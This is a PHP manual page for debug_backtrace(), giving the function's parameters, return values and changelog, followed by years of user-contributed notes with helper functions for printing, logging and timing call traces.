Apparently on Windows the internally generated errors will interpret "/" as "C:\" (or possibly a different drive if you have Windows installed elsewhere - I haven't tested this).  However, the error_log process apparently can't find "/" - understandably enough - and the message is dropped silently.
shawing at gmail dot com 27-Jan-2005 11:05
Although the root user writes to the files 'error_log' and 'access_log', the Apache user has to own the file referenced by 'error_log = filename' or no log entries will be written.

; From php.ini
; Log errors to specified file.
error_log = /usr/local/apache/logs/php.errors

[root@www logs]$ ls -l /usr/local/apache/logs/php.errors
-rw-r--r--    1 nobody   root          27K Jan 27 16:58 php.errors
ptah at se dot linux dot org 10-Sep-2004 02:20
PHP5 only (only tested with php5.0).

If you, for some reason, prefer exceptions over errors and have your custom error handler (set_error_handler) wrap the error into an exception you have to be careful with your script.

Because if you, instead of just calling the exception handler, throws the exception, and having a custom exception handler (set_exception_handler). And an error is being triggered inside that exception handler, you will get a weird error:
"Fatal error: Exception thrown without a stack frame in Unknown on line 0"

This error is not particulary informative, is it? :)

This example below will cause this error.
<?php
class PHPErrorException extends Exception
{
    private $context = null;
    public function __construct
        ($code, $message, $file, $line, $context = null)
    {
        parent::__construct($message, $code);
        $this->file = $file;
        $this->line = $line;
        $this->context = $context;
    }
};

function error_handler($code, $message, $file, $line) {
    throw new PHPErrorException($code, $message, $file, $line);
}

function exception_handler(Exception $e)
{
    $errors = array(
        E_USER_ERROR        => "User Error",
        E_USER_WARNING        => "User Warning",
        E_USER_NOTICE        => "User Notice",
        );

    echo $errors[$e->getCode()].': '.$e->getMessage().' in '.$e->getFile().
        ' on line '.$e->getLine()."\n";
    echo $e->getTraceAsString();
}

set_error_handler('error_handler');
set_exception_handler('exception_handler');

// Throw exception with an /unkown/ error code.
throw new Exception('foo', 0);
?>

There are however, easy fix for this as it's only cause is sloppy code.
Like one, directly call exception_handler from error_handler instead of throwing an exception. Not only does it remedy this problem, but it's also faster. Though this will cause a `regular` unhandled exception being printed and if only "designed" error messages are intended, this is not the ultimate solution.

So, what is there to do? Make sure the code in exception_handlers doesn't cause any errors! In this case a simple isset() would have solved it.

regards, C-A B.


Generates a backtrace

  • « Error Handling Functions
  • debug_print_backtrace »
  • PHP Manual
  • Error Handling Functions
  • Generates a backtrace

debug_backtrace

(PHP 4 >= 4.3.0, PHP 5)

debug_backtrace — Generates a backtrace

Description

array debug_backtrace ([ int $options = DEBUG_BACKTRACE_PROVIDE_OBJECT [, int $limit = 0 ]] )

debug_backtrace() generates a PHP backtrace.

Parameters

options

As of 5.3.6, this parameter is a bitmask for the following options:

debug_backtrace() options
DEBUG_BACKTRACE_PROVIDE_OBJECT | Whether or not to populate the "object" index.
DEBUG_BACKTRACE_IGNORE_ARGS | Whether or not to omit the "args" index, and thus all the function/method arguments, to save memory.
Before 5.3.6, the only values recognized are TRUE or FALSE, which are the same as setting or not setting the DEBUG_BACKTRACE_PROVIDE_OBJECT option respectively.

limit

As of 5.4.0, this parameter can be used to limit the number of stack frames returned. By default (limit=0) it returns all stack frames.

Return Values

Returns an array of associative arrays. The possible returned elements are as follows:

Possible returned elements from debug_backtrace()
Name | Type | Description
function | string | The current function name. See also __FUNCTION__.
line | integer | The current line number. See also __LINE__.
file | string | The current file name. See also __FILE__.
class | string | The current class name. See also __CLASS__
object | object | The current object.
type | string | The current call type. If a method call, "->" is returned. If a static method call, "::" is returned. If a function call, nothing is returned.
args | array | If inside a function, this lists the functions arguments. If inside an included file, this lists the included file name(s).

Changelog

Version | Description
5.4.0 | Added the optional parameter limit.
5.3.6 | The parameter provide_object changed to options and additional option DEBUG_BACKTRACE_IGNORE_ARGS is added.
5.2.5 | Added the optional parameter provide_object.
5.1.1 | Added the current object as a possible return element.

Examples

Example #1 debug_backtrace() example

<?php
// filename: /tmp/a.php

function a_test($str)
{
    echo "\nHi: $str";
    var_dump(debug_backtrace());
}

a_test('friend');
?>

<?php
// filename: /tmp/b.php
include_once '/tmp/a.php';
?>

Results similar to the following when executing /tmp/b.php:

Hi: friend
array(2) {
[0]=>
array(4) {
    ["file"] => string(10) "/tmp/a.php"
    ["line"] => int(10)
    ["function"] => string(6) "a_test"
    ["args"]=>
    array(1) {
      [0] => &string(6) "friend"
    }
}
[1]=>
array(4) {
    ["file"] => string(10) "/tmp/b.php"
    ["line"] => int(2)
    ["args"] =>
    array(1) {
      [0] => string(10) "/tmp/a.php"
    }
    ["function"] => string(12) "include_once"
  }
}

See Also

  • trigger_error() - Generates a user-level error/warning/notice message
  • debug_print_backtrace() - Prints a backtrace

User Contributed Notes

anoam at yandex dot ru 17-Oct-2014 05:12
It works a little bit different with resources in different PHP versions.

For example:
function foo($bar)
{
  return debug_backtrace();
}

$resource = fopen(__FILE__, 'r');
$backtrace = foo($resource);
echo "when resource is opened: " . gettype($backtrace[0]['args'][0]) . "\n";
fclose($resource);
echo "when resource is closed: " . gettype($backtrace[0]['args'][0]) . "\n";

With 5.3.10 I got:
when resource is opened: resource
when resource is closed: resource

With 5.5.9:
when resource is opened: resource
when resource is closed: unknown type

Be carefull.
jonas at faceways dot se 20-Sep-2013 04:41
When using debug_backtrace() to check if you're being accessed from another caller, please remember to ask debug_backtrace to only go as far as needed in depth and skip taking the entire debug object as return parameter:

<?php
    if (count(debug_backtrace(FALSE, 1)) == 0)
    {
        // Do something
    }
?>
jurchiks101 at gmail dot com 21-May-2013 07:04
Here's a function I just wrote for getting a nice and comprehensible call trace. It is probably more resource-intensive than some other alternatives but it is short, understandable, and gives nice output (Exception->getTraceAsString()).

<?php
function generateCallTrace()
{
    $e = new Exception();
    $trace = explode("\n", $e->getTraceAsString());
    // reverse array to make steps line up chronologically
    $trace = array_reverse($trace);
    array_shift($trace); // remove {main}
    array_pop($trace); // remove call to this method
    $length = count($trace);
    $result = array();

    for ($i = 0; $i < $length; $i++)
    {
        $result[] = ($i + 1)  . ')' . substr($trace[$i], strpos($trace[$i], ' ')); // replace '#someNum' with '$i)', set the right ordering
    }

    return "\t" . implode("\n\t", $result);
}
?>

Example output:
    1) /var/www/test/test.php(15): SomeClass->__construct()
    2) /var/www/test/SomeClass.class.php(36): SomeClass->callSomething()
Anonymous 06-Mar-2013 06:01
A usual entry looks like this:
<?php
array(6) {
  'file' =>
  string(87) "DbSelector.php"
  'line' =>
  int(171)
  'function' =>
  string(5) "error"
  'class' =>
  string(42) "LoggingService"
  'type' =>
  string(2) "::"
  'args' =>
  array(1) {
    [0] =>
    string(27) "Connecting to DB: unittests"
  }
}
?>

Be warned though that 'file' and 'class' do not reference the same thing!
'file' means which file calls the next step.
'class' is the next step being called.

So 'file' is the caller, 'class' is the callee.
Gemorroj 11-Feb-2013 06:58
Another variation formatting backtrace.
Parameter $ignore to ignore the extra calls.
<?php
/**
 * Getting backtrace
 *
 * @param int $ignore ignore calls
 *
 * @return string
 */
protected function getBacktrace($ignore = 2)
{
    $trace = '';
    foreach (debug_backtrace() as $k => $v) {
        if ($k < $ignore) {
            continue;
        }

        array_walk($v['args'], function (&$item, $key) {
            $item = var_export($item, true);
        });

        $trace .= '#' . ($k - $ignore) . ' ' . $v['file'] . '(' . $v['line'] . '): ' . (isset($v['class']) ? $v['class'] . '->' : '') . $v['function'] . '(' . implode(', ', $v['args']) . ')' . "\n";
    }

    return $trace;
}
?>
nyoung55 at that_google_mail.com 01-Feb-2013 01:31
Here is a function to cleanly output the debug_backtrace to the error_log

<?php
/*
 * Send the output from a backtrace to the error_log
 * @param string $message Optional message that will be sent the the error_log before the backtrace
 */
function log_trace($message = '') {
    $trace = debug_backtrace();
    if ($message) {
        error_log($message);
    }
    $caller = array_shift($trace);
    $function_name = $caller['function'];
    error_log(sprintf('%s: Called from %s:%s', $function_name, $caller['file'], $caller['line']));
    foreach ($trace as $entry_id => $entry) {
        $entry['file'] = $entry['file'] ? : '-';
        $entry['line'] = $entry['line'] ? : '-';
        if (empty($entry['class'])) {
            error_log(sprintf('%s %3s. %s() %s:%s', $function_name, $entry_id + 1, $entry['function'], $entry['file'], $entry['line']));
        } else {
            error_log(sprintf('%s %3s. %s->%s() %s:%s', $function_name, $entry_id + 1, $entry['class'], $entry['function'], $entry['file'], $entry['line']));
        }
    }
}
?>
Anonymous 31-Jan-2013 05:12
Simple function to get a string in form "filename: [class->][function(): ]"

<?php
function get_caller_info() {
    $c = '';
    $file = '';
    $func = '';
    $class = '';
    $trace = debug_backtrace();
    if (isset($trace[2])) {
        $file = $trace[1]['file'];
        $func = $trace[2]['function'];
        if ((substr($func, 0, 7) == 'include') || (substr($func, 0, 7) == 'require')) {
            $func = '';
        }
    } else if (isset($trace[1])) {
        $file = $trace[1]['file'];
        $func = '';
    }
    if (isset($trace[3]['class'])) {
        $class = $trace[3]['class'];
        $func = $trace[3]['function'];
        $file = $trace[2]['file'];
    } else if (isset($trace[2]['class'])) {
        $class = $trace[2]['class'];
        $func = $trace[2]['function'];
        $file = $trace[1]['file'];
    }
    if ($file != '') $file = basename($file);
    $c = $file . ": ";
    $c .= ($class != '') ? ":" . $class . "->" : "";
    $c .= ($func != '') ? $func . "(): " : "";
    return($c);
}
?>

Usage like:

<?php
function debug($str) {
    echo get_caller_info() . $str . "<br>\n";
}
?>

get_caller_info() will return info about the function /class->method that called debug().
root at jackyyf dot com 22-Dec-2012 09:05
When use register_shutdown_function, and the function called when shutting down, there are no line number nor filename information about this function, only function, class(if possible), type(if possible) and args are provided.
Phil Hilton 17-Nov-2012 03:57
Super simple example to output where your function was called from (file, function, line number):

<?php
// Prints the file name, function name, and
// line number which called your function
// (not this function, then one that  called
// it to begin with)
function debugPrintCallingFunction () {
    $file = 'n/a';
    $func = 'n/a';
    $line = 'n/a';
    $debugTrace = debug_backtrace();
    if (isset($debugTrace[1])) {
        $file = $debugTrace[1]['file'] ? $debugTrace[1]['file'] : 'n/a';
        $line = $debugTrace[1]['line'] ? $debugTrace[1]['line'] : 'n/a';
    }
    if (isset($debugTrace[2])) $func = $debugTrace[2]['function'] ? $debugTrace[2]['function'] : 'n/a';
    echo "<pre>\n$file, $func, $line\n</pre>";
}
?>
d at rren dot me 04-Oct-2012 04:35
Howdy guys, just a note really - The ['args'] data within the resulting array is supplied by reference. I found myself editing the reference unknowingly which in turn shows its ugly head further down the line if you call multiple backtrace.

<?php
$trace = array_reverse(debug_backtrace());

// LOOP BACKTRACE
$la = 0;
$lb = count($trace);
while ($la<$lb){

    // DATA FROM BACKTRACE
    $trace[$la]['file'];
    $trace[$la]['line'];
    $trace[$la]['args'];
    $trace[$la]['function'];
    // DATA FROM BACKTRACE

    // LOOP ARGUMENTS ARRAY
    $ba = 0;
    $bb = count($trace[$la]['args']);
    while ($ba<$bb){

        $trace[$la]['args'][$ba] = "EDITING A REFERENCE/POINTER";

        $ba++;
    }
    unset($bb);
    unset($ba);
    // LOOP ARGUMENTS ARRAY

    $la++;
}
unset($lb);
unset($la);
// LOOP BACKTRACE
?>
kexianbin at diyism dot com 16-Sep-2012 11:26
need no Xdebug or dbg.so on server, return more detailed message:

diyism_trace.php:
<?php
define(TRACES_MODE, 'TEXTAREA');//'TEXTAREA' or 'FIREPHP'
$GLOBALS['traces.pre']=array();
function my_array_diff($arr1, $arr2)
         {foreach ($arr1 as $k=>$v)
                  {if (in_array($v, $arr2, true))
                      {unset($arr1[$k]);
                      }
                  }
          return $arr1;
         }
function my_var_export($var, $is_str=false)
         {$rtn=preg_replace(array('/Array\s+\(/', '/\[(\d+)\] => (.*)\n/', '/\[([^\d].*)\] => (.*)\n/'), array('array (', '\1 => \'\2\''."\n", '\'\1\' => \'\2\''."\n"), substr(print_r($var, true), 0, -1));
          $rtn=strtr($rtn, array("=> 'array ('"=>'=> array ('));
          $rtn=strtr($rtn, array(")\n\n"=>")\n"));
          $rtn=strtr($rtn, array("'\n"=>"',\n", ")\n"=>"),\n"));
          $rtn=preg_replace(array('/\n +/e'), array('strtr(\'\0\', array(\'    \'=>\'  \'))'), $rtn);
          $rtn=strtr($rtn, array(" Object',"=>" Object'<-"));
          if ($is_str)
             {return $rtn;
             }
          else
              {echo $rtn;
              }
         }
function tick_handler()
         {$tmp=debug_backtrace();
          $trace=my_array_diff($tmp, $GLOBALS['traces.pre']);
          //echo '<pre>';var_export($trace);echo '</pre>';echo '<br/>'; //for debug diyism_trace.php
          $trace=array_values($trace);
          $GLOBALS['traces.pre']=$tmp;
          if (count($trace)>0 && $trace[0]['file'].'/'.@$tmp[1]['function']!==@$GLOBALS['traces'][count($GLOBALS['traces'])-1]['key']) //filter empty array and rearrange array_values(), because some lines will trigger two tick events per line, for example: 1.last line is "some code;questmark>" 2.error_reporting(...
             {for ($i=count($trace)-1; $i>=0; --$i)
                  {$GLOBALS['traces'][]=$tmp_fb=array_merge(array('key'=>$trace[$i]['file'].'/'.@$tmp[$i+1]['function']), $trace[$i], array('function'=>strtr($trace[$i]['function'], array('tick_handler'=>'CONTINUE')), 'in_function'=>@$tmp[$i+1]['function']));
                   TRACES_MODE==='FIREPHP'?fb(trace_output($tmp_fb), 'diyism_trace:'.++$GLOBALS['diyism_trace_no']):'';
                  }
             }
         }
function trace_output($trace)
         {$trace['in_function']=strtr(@$trace['in_function'], array('require'=>'', 'require_once'=>'', 'include'=>'', 'include_once'=>''));
          $trace['args']=$trace['args']?strtr(preg_replace(array('/\n +/'), array(''), preg_replace(array('/\n  \d+ => /'), array(''), substr(my_var_export($trace['args'], true), 7, -3))), array("\r"=>'\r', "\n"=>'\n')):'';
          return $trace['file'].($trace['in_function']?'/'.$trace['in_function'].'()':'').'/'.$trace['line'].': '.$trace['function'].'('.$trace['args'].')';
         }
function traces_output()
         {echo '<textarea style="width:100%;height:300px;">';
          $GLOBALS['traces']=array_slice($GLOBALS['traces'], 2);//remove registering tick line and requiring 'diyism_trace.php' line
          foreach ($GLOBALS['traces'] as $k=>$trace)
                  {echo htmlentities($k.':'.trace_output($trace)."\n");
                  }
          echo '</textarea>';
         }
register_tick_function('tick_handler');
TRACES_MODE==='TEXTAREA'?register_shutdown_function('traces_output'):'';
?>

test.php:
<?php
declare(ticks=1);
require 'diyism_trace.php';

a('a', array('hello'));
1+2;
b();
function a()
         {$d=1;
          b();
          $d=2;
         }
function b()
         {1+1;
         }
?>
ciprian dot stingu at gmail dot com 19-Nov-2011 09:32
A function that i use for debug
I shortened variables name and i eliminated the spaces from second function in order fit in post :(

<?php
define("LFP", './lt.log');
function LogTrace($Argument, $lfn = LFP, $itw = '  ')
{
    error_log("=====\r", 3, $lfn);
    error_log("[BEGIN BACKTRACE]\r", 3, $lfn);
    $it = '';
    $Ts = array_reverse(debug_backtrace());
    foreach($Ts as $T)
       {
        if($T['function'] != 'include' && $T['function'] != 'require' && $T['function'] != 'include_once' && $T['function'] != 'require_once')
        {
            $ft = $it . '<'. basename($T['file']) . '> on line ' . $T['line'];
            if($T['function'] != 'LogTrace')
            {
                if(isset($T['class']))
                    $ft .= ' in method ' . $T['class'] . $T['type'];
                else
                    $ft .= ' in function ';
                $ft .= $Trace['function'] . '(';
            }
            else
                $ft .= '(';
            if(isset($T['args'][0]))
            {
                if($T['function'] != 'LogTrace')
                {
                    $ct = '';
                    foreach($T['args'] as $A)
                    {
                        $ft .= $ct . LogVar($A, '', $it, $itw, 0);
                        $ct = $it . $itw . ',';
                    }
                }
                else
                    $ft .= LogVar($T['args'][0], '', $it, $itw, 0);
            }
            $ft .= $it . ")\r";
            error_log($ft, 3, $lfn);
            $it .= $itw;
        }
    }
    error_log("[END BACKTRACE]\r", 3, $lfn);
}

function LogVar(&$Var, $vn, $pit, $itw, $nlvl, $m = '')
{
    if($nlvl>=16) return;
    if($nlvl==0){$tv=serialize($Var);$tv=unserialize($tv);}
    else $tv=&$Var;
    $it=$pit.$itw;
    for($i=0; $i<$nlvl;$i++) $it.='.'.$itw;
    $o='';$nl="\n";
    if(is_array($tv))
    {
        if(strlen($vn)>0) $o.=$it.$m.'<array> $'.$vn.' = (';
        else $o.="\r".$it.$m.'<array> = (';
        $o.= $nl;$AK=array_keys($tv);
        foreach($AK as $AN) {$AV=&$tv[$AN];$o.=LogVar($AV,$AN,$pit,$itw,$nlvl+1);}
        $o.=$it.')'.$nl;
    }
    else if(is_string($tv))
    {
        if(strlen($vn)>0)$o.=$it.$m.'<string> $'.$vn.' = ';
        else $o.=' '.$m.'<string> = ';
        if($tv===null) $o.='NULL';
        else $o.='"'.$tv.'"';
        $o.=$nl;
    }
    else if(is_bool($tv))
    {
        if(strlen($vn) > 0) $o.=$it.$m.'<boolean> $'.$vn.' = ';
        else $o.=' '.$m.'<boolean> = ';
        if($tv===true) $o.='TRUE';
        else $o.='FALSE';
        $o.=$nl;
    }
    else if(is_object($tv))
    {
        if(strlen($vn)>0)
        {
            $o.=$pit.$itw;
            for($i=0;$i<$nlvl;$i++) $o.='.'.$itw;
            $o.=$m.'<'.get_class($tv).'::$'.$vn.'> = {'.$nl;
        }
        else $o.=' '.$m.'<'.get_class($tv).'::> = {'.$nl;
        $R=new ReflectionClass($tv);
        $o.=$it.'.'.$itw.'Class methods {'.$nl;
        $CM=$R->getMethods();
        foreach($CM as $MN => $MV)
        {
            $o.=$it.'.'.$itw.'.'.$itw.implode(' ',Reflection::getModifierNames($MV->getModifiers())).' '.$MV->getName().'(';
            $MP=$MV->getParameters(); $ct='';
            foreach($MP as $MPN => $MPV)
            {
                $o.=$ct; $o.=$MPV->isOptional()?'[':'';
                if($MPV->isArray()) $o.='<array> ';
                else if($MPV->getClass()!==null) $o.='<'.$MPV->getClass()->getName().'::> ';
                $o.=$MPV->isPassedByReference()?'&':''; $o.='$'.$MPV->getName();
                if($MPV->isDefaultValueAvailable())
                 {
                    if($MPV->getDefaultValue()===null) $o.=' = NULL';
                    else if($MPV->getDefaultValue()===true) $o.=' = TRUE';
                    else if($MPV->getDefaultValue()===false) $o.=' = FALSE';
                    else $o.=' = '.$MPV->getDefaultValue();
                }
                $o.=$MPV->isOptional()?']':''; $ct=', ';
            }
            $o.=')'.$nl;
        }
        $o.=$it.'.'.$itw.'}'.$nl; $o.=$it.'.'.$itw.'Class properties {'.$nl;
        $CV=$R->getProperties();
        foreach($CV as $CN => $CV)
        {
            $M=implode(' ',Reflection::getModifierNames($CV->getModifiers())).' ';
            $CV->setAccessible(true);
            $o.=LogVar($CV->getValue($tv),$CV->getName(),$pit,$itw,$nlvl+2,$M);
        }
        $o.=$it.'.'.$itw.'}'.$nl; $o.=$it.'.'.$itw.'Object variables {'.$nl;
         $OVs=get_object_vars($tv);
        foreach($OVs as $ON => $OV) $o.=LogVar($OV,$ON,$pit,$itw,$nlvl+2);
        $o.=$it.'.'.$itw.'}'.$nl; $o.=$pit.$itw;
        for($i=0;$i<$nlvl;$i++)    $o.='.'.$itw;
        $o.='}'.$nl;
    }
    else
    {
        if(strlen($vn)>0) $o.=$it.$m.'<'.gettype($tv).'> $'.$vn.' = '.$tv;
        else $o.=' '.$m.'<'.gettype($tv).'> = '.$tv;
        $o.=$nl;
    }
    return $o;
}
//test
date_default_timezone_set('Europe/Bucharest');
$date = new DateTime('2010-01-28');
LogTrace($date);
?>
Bill Getas 21-Dec-2010 12:09
Here's my little updated contribution - it prints colorful output in the way I prefer.  Define a helper function isRootIp() that contains an array including your IP; then calls to bt() simply return, so you can sprinkle backtraces in live sites w/o anyone knowing.

<?php
function bt()
{
    if( ! isRootIp() )
    {
        return false;
    }
    array_walk( debug_backtrace(), create_function( '$a,$b', 'print "<br /><b>". basename( $a[\'file\'] ). "</b> &nbsp; <font color=\"red\">{$a[\'line\']}</font> &nbsp; <font color=\"green\">{$a[\'function\']} ()</font> &nbsp; -- ". dirname( $a[\'file\'] ). "/";' ) );
}
?>
henzeberkheij at gmail dot com 10-Oct-2010 11:07
I find it useful to know if a function is being called. in Java for instance you usually print a line with the functionname and arguments in the beginning of the function. I wanted to achieve the same thing in php thus i wrote the following class:

<?php
class Debug
{
    private static $calls;

    public static function log($message = null)
    {
        if(!is_array(self::$calls))
            self::$calls = array();

        $call = debug_backtrace(false);
        $call = (isset($call[1]))?$call[1]:$call[0];

        $call['message'] = $message;
        array_push(self::$calls, $call);
    }
}
?>

include this class before anything else
usage: Debug::log($message); at the beginning of your function.

write yourself a nice printout of the data;
kenorb at gmail dot com 07-Sep-2010 04:11
One line of code to print simplest and shortest human readable backtrace:)
<?php
array_walk(debug_backtrace(),create_function('$a,$b','print "{$a[\'function\']}()(".basename($a[\'file\']).":{$a[\'line\']}); ";'));
?>
php noob 03-Sep-2010 05:32
Surprisingly, no one has described one of the best uses of this: dumping a variable and showing the location. When debugging, especially a big and unfamiliar system, it's a pain remembering where I added those var dumps. Also, this way there is a separator between multiple dump calls.

<?php

function dump( $var ) {
    $result = var_export( $var, true );
    $loc = whereCalled();
    return "\n<pre>Dump: $loc\n$result</pre>";
}

function whereCalled( $level = 1 ) {
    $trace = debug_backtrace();
    $file   = $trace[$level]['file'];
    $line   = $trace[$level]['line'];
    $object = $trace[$level]['object'];
    if (is_object($object)) { $object = get_class($object); }

    return "Where called: line $line of $object \n(in $file)";
}
?>

In addition, calling 'whereCalled()' from any function will quickly identify locations that are doing something unexpected (e.g., updating a property at the wrong time). I'm new to PHP, but have used the equivalent in Perl for years.
jlammertink at gmail dot com 15-Jul-2010 11:32
I use this simple but effective function so i can see which method in the child class called the current method (in the parent class).

<?php
function get_caller_method()
{
    $traces = debug_backtrace();

    if (isset($traces[2]))
    {
        return $traces[2]['function'];
    }

    return null;
}
?>
john dot risken at gmail dot com 26-Feb-2010 07:02
Everybody seems to have their favorite use.  I substitute this function for die().  It gives a message
to the user and emails me a PrettyPrint of what went wrong.  $info is set by me,
and it does a special check in the database object.

<?php
// var_format

function var_format($v) // pretty-print var_export
{
    return (str_replace(array("\n"," ","array"),
array("<br>","&nbsp;","&nbsp;<i>array</i>"),
var_export($v,true))."<br>");
}
function myDie($info)
{
    $mysqlerr=strpos($info,"ERROR=You have an error in your SQL syntax");
    if($mysqlerr>0)$info=substr($info,0,$mysqlerr)." mySql format error";
    $out="<br>MSG='$info'<br>".var_format($_REQUEST)."<br>";
    $bt=debug_backtrace();
    $sp=0;
    $trace="";
    foreach($bt as $k=>$v)
    {
        extract($v);
        $file=substr($file,1+strrpos($file,"/"));
        if($file=="db.php")continue; // the db object
        $trace.=str_repeat("&nbsp;",++$sp); //spaces(++$sp);
        $trace.="file=$file, line=$line, function=$function<br>";
    }
    $out.="<br>".backTrace();
    if(substr($info,0,4)=="XXX ") // special errrors when db is inaccessible
    {
        $out=str_replace("<br>","\n",$out);
        $out=str_replace("&nbsp;"," ",$out);
        mail("me@example.com","Database Execution Error for user ".$REMOTE_ADDR,"$out");
        exit("Database Access Error. Please try again later.");
    }
    mail("me@example.com",'Error Monitor','Execution Error',$out);
    exit("DANG! An execution error in the program has been sent to the webmaster.
If you don't get an email from him soon, please call him.");
}
?>

This produces an output like this

 file=badmode.php, line=5, function=backTrace
  file=login.php, line=209, function=require
   file=midScreen.php, line=264, function=require
    file=masterindex.php, line=161, function=require
     file=production2.php, line=121, function=require
      file=index.php, line=16, function=require
michael dot schramm at gmail dot com 20-Oct-2009 09:29
Be carefull if you are using objects as arguments for function calls!

<?php
error_reporting(E_ALL);

function myPrint($trace){
    foreach($trace as $i=>$call){
        /**
         * THIS IS NEEDED! If all your objects have a __toString function it's not needed!
         *
         * Catchable fatal error: Object of class B could not be converted to string
         * Catchable fatal error: Object of class A could not be converted to string
         * Catchable fatal error: Object of class B could not be converted to string
         */
        if (is_object($call['object'])) { $call['object'] = 'CONVERTED OBJECT OF CLASS '.get_class($call['object']); }
        if (is_array($call['args'])) {
            foreach ($call['args'] AS &$arg) {
                if (is_object($arg)) { $arg = 'CONVERTED OBJECT OF CLASS '.get_class($arg); }
            }
        }

        $trace_text[$i] = "#".$i." ".$call['file'].'('.$call['line'].') ';
        $trace_text[$i].= (!empty($call['object'])?$call['object'].$call['type']:'');
        $trace_text[$i].= $call['function'].'('.implode(', ',$call['args']).')';
    }

    var_dump($trace_text);
}

class A{
    public function test($obj){
        $obj->test();
    }
}

class B{
    public function test(){
        echo myPrint(debug_backtrace());
    }
}

$A = new A();
$B = new B();

$A->test($B);

?>
frank at frank dot com 07-May-2008 08:12
Here is my simple example:
Code printing variable of class which instatiates the printing class.

Well, I am sure you understand when looking at the code:
Print result is: jippii

<?php
class A {

        function something() {
                $s = debug_backtrace();

                $callingObject = $s[1]['object'];
                $test = $callingObject->jip;
                print $test;
        }

}

class B {
      var $jip;

        function execute() {
                $a = new A();
                $this->jip = "jippii";
                $a->something();
        }

}
$control = new B();
$control->execute();
?>
samthor 11-Feb-2008 09:04
Here's a way to get the arguments for an upstream function in your stack (works with class methods, static methods and non-class methods):
<?php
/**
 * getArgs - find arguments of upstream method
 * can be called with, e.g. "funcname", "class::staticmethod", "class->instancemethod".
 */
function getArgs( $target, $subclass_ok = true ) {

    if( strpos( $target, "::" ) ) {
        list( $class, $target ) = explode( "::", $target, 2 );
        $type = "::";
    }
    else if( strpos( $target, "->" ) ) {
        list( $class, $target ) = explode( "->", $target, 2 );
        $type = "->";
    }
    else {
        $type = NULL;
        $class = NULL;
    }
    $class and $class = new ReflectionClass( $class );

    foreach( debug_backtrace() as $obj ) {

        if( $obj['function'] == $target ) {
            if( $type and $obj['type'] == $type ) {
                $_cl = new ReflectionClass( $obj['class'] );
                if( $_cl->getName() == $class->getName() or ( $subclass_ok and $_cl->isSubclassOf( $class ) ) ) {
                    return $obj['args'];
                }
                unset( $_cl );
            }
            else if( !$type ) {
                return $obj['args'];
            }
        }

    }

    return NULL;

}
?>

Some example usage:
<?php
class Foo {
    function test() {
        $args = getArgs( "Foo->base" );
        print( "the parameter 'v' to my call of base was: {$args[0]}\n" );
    }
    function base( $v ) {
        $this->test();
    }
}

$f = new Foo();
$f->base( 713 ); // will print.. ".. my call of base was: 713"

?>

Trust me, there are some reasons for why you might want to do this :)
aryel at iku dot com dot br 29-Jan-2008 11:40
An easy function to pull all details of the debug backtrace:

<?php
function getDebugBacktrace($NL = "<BR>") {
    $dbgTrace = debug_backtrace();
    $dbgMsg .= $NL."Debug backtrace begin:$NL";
    foreach($dbgTrace as $dbgIndex => $dbgInfo) {
        $dbgMsg .= "\t at $dbgIndex  ".$dbgInfo['file']." (line {$dbgInfo['line']}) -> {$dbgInfo['function']}(".join(",",$dbgInfo['args'])")$NL";
    }
    $dbgMsg .= "Debug backtrace end".$NL;
    return $dbgMsg;
}
?>

Then you can call it anywhere you want to get a string with the debug backtrace in readable format (i.e. your error handling function)

<?php
$backtrace = getDebugBacktrace();
echo "Fatal error! Cannot connect to database!";
echo $backtrace;
?>

If you're running on command line, you might want to replace the line split. You can do that thru the function argument:

<?php
$backtrace = getDebugBacktrace("\n");
echo "Error! Server is running out of foos! Dumping error backtrace";
echo $backtrace;
?>

Hope that helps,
Aryel
php at kennel17 dot co dot uk 20-Jun-2007 06:30
Further to my previous note, the 'object' element of the array can be used to get the parent object.  So changing the get_class_static() function to the following will make the code behave as expected:

<?php
    function get_class_static() {
        $bt = debug_backtrace();

        if (isset($bt[1]['object']))
            return get_class($bt[1]['object']);
        else
            return $bt[1]['class'];
    }
?>

HOWEVER, it still fails when being called statically.  Changing the last two lines of my previous example to

<?php
  foo::printClassName();
  bar::printClassName();
?>

...still gives the same problematic result in PHP5, but in this case the 'object' property is not set, so that technique is unavailable.
php at kennel17 dot co dot uk 20-Jun-2007 06:01
The value of the class argument has changed slightly between PHP4 and PHP5:

Here's an example:

<?php

  function get_class_static() {
    $bt = debug_backtrace();
    $name = $bt[1]['class'];
    return $name;
  }

  class foo {
    function printClassName() {
      print(get_class_static() . "\n");
     }
  }

  class bar extends foo {
  }

$f = new foo();
$b = new bar();
$f->printClassName();
$b->printClassName();

?>

In PHP4 you get:

  foo
  bar

In PHP5 you get:

  foo
  foo

debug_backtrace() now sets the 'class' parameter to be the class that the function is actually defined in, not the name of the instantiated class.
jsnell at e-normous dot com 30-May-2007 11:35
If you are using the backtrace function in an error handler, avoid using var_export() on the args, as you will cause fatal errors in some situations, preventing you from seeing your stack trace.  Some structures will cause PHP to generate the fatal error "Nesting level too deep - recursive dependency?" This is a design feature of php, not a bug (see http://bugs.php.net/bug.php?id=30471)
kroczu AT interia DOT pl 23-Jan-2007 07:24
<?
// useful and comfortable debug function
// it's show memory usage and time flow between calls, so we can quickly find a block of code that need optimisation...
// example result:
/*
debug example.php> initialize
debug example.php> code-lines: 39-41 time: 2.0002 mem: 19 KB
debug example.php> code-lines: 41-44 time: 0.0000 mem: 19 KB
debug example.php> code-lines: 44-51 time: 0.6343 mem: 9117 KB
debug example.php> code-lines: 51-53 time: 0.1003 mem: 9117 KB
debug example.php> code-lines: 53-55 time: 0.0595 mem: 49 KB
 */

function debug()
{
   static $start_time = NULL;
   static $start_code_line = 0;

   $call_info = array_shift( debug_backtrace() );
   $code_line = $call_info['line'];
   $file = array_pop( explode('/', $call_info['file']));

   if( $start_time === NULL )
   {
       print "debug ".$file."> initialize\n";
       $start_time = time() + microtime();
       $start_code_line = $code_line;
       return 0;
   }

   printf("debug %s> code-lines: %d-%d time: %.4f mem: %d KB\n", $file, $start_code_line, $code_line, (time() + microtime() - $start_time), ceil( memory_get_usage()/1024));
   $start_time = time() + microtime();
   $start_code_line = $code_line;
}

////////////////////////////////////////////////
// example:

debug();
sleep(2);
debug();
// soft-code...
$a = 3 + 5;
debug();

// hard-code
for( $i=0; $i<100000; $i++)
{
    $dummy['alamakota'.$i] = 'alamakota'.$i;
}
debug();
usleep(100000);
debug();
unset($dummy);
debug();

?>
seaside dot ki at mac dot com 15-Dec-2006 01:20
I've started creating an external debug server for PHP. A PHP app require_once's a TADebugger(), which communicates with the debug sever. Find the OS X universal binary here [PHP source sample included]:

   http://www.turingart.com/downloads/phpDebugger.zip

